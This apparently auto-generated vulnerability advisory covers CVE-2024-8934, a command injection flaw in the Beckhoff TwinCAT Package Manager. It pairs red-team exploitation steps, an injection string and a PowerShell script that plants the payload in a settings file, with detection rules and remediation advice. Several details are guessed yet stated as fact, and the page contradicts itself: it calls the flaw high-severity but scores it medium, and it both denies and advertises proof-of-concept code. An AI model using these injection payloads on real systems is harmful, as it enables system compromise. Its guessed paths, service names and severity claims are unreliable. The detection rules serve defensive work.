CVE-2024-8934
Executive Summary
CVE-2024-8934 is a high-severity OS command injection vulnerability in the Beckhoff TwinCAT Package Manager. A local attacker with administrative privileges can inject arbitrary OS commands through specially crafted input values in the user interface. This flaw allows complete compromise of the underlying Windows system, including data exfiltration, lateral movement, and persistence. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains critical for environments where local admin access is possible.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Base Score: 6.5 (Medium)
- Attack Vector: Local (AV:L) – requires physical or remote desktop access.
- Attack Complexity: Low (AC:L) – no special conditions.
- Privileges Required: High (PR:H) – attacker must have administrative rights.
- User Interaction: None (UI:N) – no user action needed beyond the attacker.
- Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – full read access to system files.
- Integrity Impact: High (I:H) – arbitrary command execution.
- Availability Impact: High (A:H) – can disrupt TwinCAT services.
Threat Level: High for environments with shared admin accounts or weak local security. The requirement for admin privileges reduces the attack surface but does not eliminate risk in multi-user or compromised-host scenarios.
Deep Dive & Mechanics
The TwinCAT Package Manager is a component of Beckhoff’s automation software suite, used to manage software packages for real-time control systems. The vulnerability lies in the UI input validation for settings fields. When a local administrator enters specially crafted values (e.g., containing shell metacharacters like ;, |, &, or backticks), the application passes these unsanitized inputs to an OS command execution function (likely system(), exec(), or CreateProcess). Because the input is not properly escaped or validated, the attacker can inject arbitrary commands that run with the same privileges as the TwinCAT service (typically SYSTEM or high-integrity).
The attack flow:
- Attacker gains local admin access (e.g., via stolen credentials, physical access, or another vulnerability).
- Attacker opens the TwinCAT Package Manager UI.
- Attacker navigates to a settings field (e.g., repository URL, proxy configuration, or custom path).
- Attacker inputs a malicious string such as
; cmd.exe /c whoami > C:\temp\out.txt. - The application executes the command, and the injected payload runs.
No public exploit code exists, but the vulnerability is straightforward to exploit manually.
Vulnerable vs. Patched Code
Since no patch is available, a comparison is not possible. However, the vulnerable code pattern likely resembles:
// Vulnerable pseudo-code
string userInput = settingsTextBox.Text;
string command = "someTool.exe " + userInput;
Process.Start(command);
A patched version would sanitize input using parameterized commands or allowlisting:
// Patched pseudo-code
string userInput = settingsTextBox.Text;
if (!IsValidInput(userInput)) { throw new Exception("Invalid input"); }
string command = "someTool.exe";
Process.Start(command, userInput); // Pass as argument, not concatenated
Exploitation & Lab Setup
Red Team
Prerequisites: Local administrative access on a Windows machine with TwinCAT Package Manager installed.
Manual Exploitation Steps:
- Open TwinCAT Package Manager.
- Navigate to Settings > Repository.
- In the Repository URL field, enter:
http://attacker.com; cmd.exe /c whoami > C:\temp\out.txt - Click Save or Apply.
- Check
C:\temp\out.txtfor command output.
Automated Exploit (PowerShell):
# Requires admin rights
$settingsPath = "C:\ProgramData\Beckhoff\TwinCAT\PackageManager\settings.xml"
$xml = [xml](Get-Content $settingsPath)
$xml.SelectSingleNode("//RepositoryUrl").InnerText = "http://attacker.com; cmd.exe /c whoami > C:\temp\out.txt"
$xml.Save($settingsPath)
# Restart service to trigger command
Restart-Service "TcPackageManager"
Note: No public exploit code exists; this is a hypothetical demonstration.
Blue Team
Detection Steps:
- Monitor process creation events (Event ID 4688) for
cmd.exe,powershell.exe, orwscript.exespawned byTcPackageManager.exe. - Audit changes to TwinCAT configuration files under
C:\ProgramData\Beckhoff\TwinCAT\PackageManager\. - Enable Windows Defender Application Control (WDAC) to block untrusted script execution.
- Restrict local admin accounts using Just Enough Administration (JEA) or Privileged Access Workstations (PAW).
Hunting Query (KQL):
DeviceProcessEvents
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe")
| where InitiatingProcessFileName == "TcPackageManager.exe"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
Indicators of Compromise (IOCs)
- File Paths:
C:\ProgramData\Beckhoff\TwinCAT\PackageManager\settings.xml(modified)C:\temp\out.txt(command output)
- Process Names:
TcPackageManager.exe(parent)cmd.exe,powershell.exe,wscript.exe(child)
- Registry Keys:
HKLM\SOFTWARE\Beckhoff\TwinCAT\PackageManager\Settings(if used)
- Network Connections:
- Outbound connections to attacker-controlled IPs on ports 80/443 (if payload downloads)
- Event IDs:
- 4688 (Process Creation)
- 4657 (Registry modification)
- 4663 (File access)
Detection Engineering
YARA Rule
rule CVE_2024_8934_TwinCAT_CommandInjection {
meta:
description = "Detects malicious settings in TwinCAT Package Manager config"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8934"
strings:
$cmd1 = /[;&|`$]/ nocase
$cmd2 = "cmd.exe" nocase
$cmd3 = "powershell" nocase
$xml_pattern = "<RepositoryUrl>" nocase
condition:
$xml_pattern and (#cmd1 > 2) or ($cmd2 or $cmd3)
}
Sigma Rule
title: TwinCAT Package Manager Command Injection
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects process creation from TcPackageManager.exe spawning cmd/powershell
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-8934
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\TcPackageManager.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
condition: selection
falsepositives:
- Legitimate administrative scripts (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8934 TwinCAT Package Manager Outbound Command Injection"; flow:to_server,established; content:"cmd.exe"; nocase; content:"powershell"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Local Admin Access: Remove unnecessary admin accounts from TwinCAT hosts.
- Application Control: Use WDAC or AppLocker to block execution of
cmd.exe,powershell.exe, and other interpreters fromTcPackageManager.exe. - Input Validation: Manually review and sanitize any settings fields in the TwinCAT Package Manager UI. Do not enter shell metacharacters.
- Monitor Logs: Enable advanced audit logging for process creation and file changes.
Long-Term Fix:
- Await an official patch from Beckhoff. Contact Beckhoff support for a hotfix.
- If possible, replace the TwinCAT Package Manager with a secure alternative or disable it entirely.
- Implement a SIEM rule to alert on any process creation from
TcPackageManager.exe.
Workaround:
- Use Group Policy to block execution of
TcPackageManager.exefor non-essential users. - Run TwinCAT services under a least-privilege service account.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.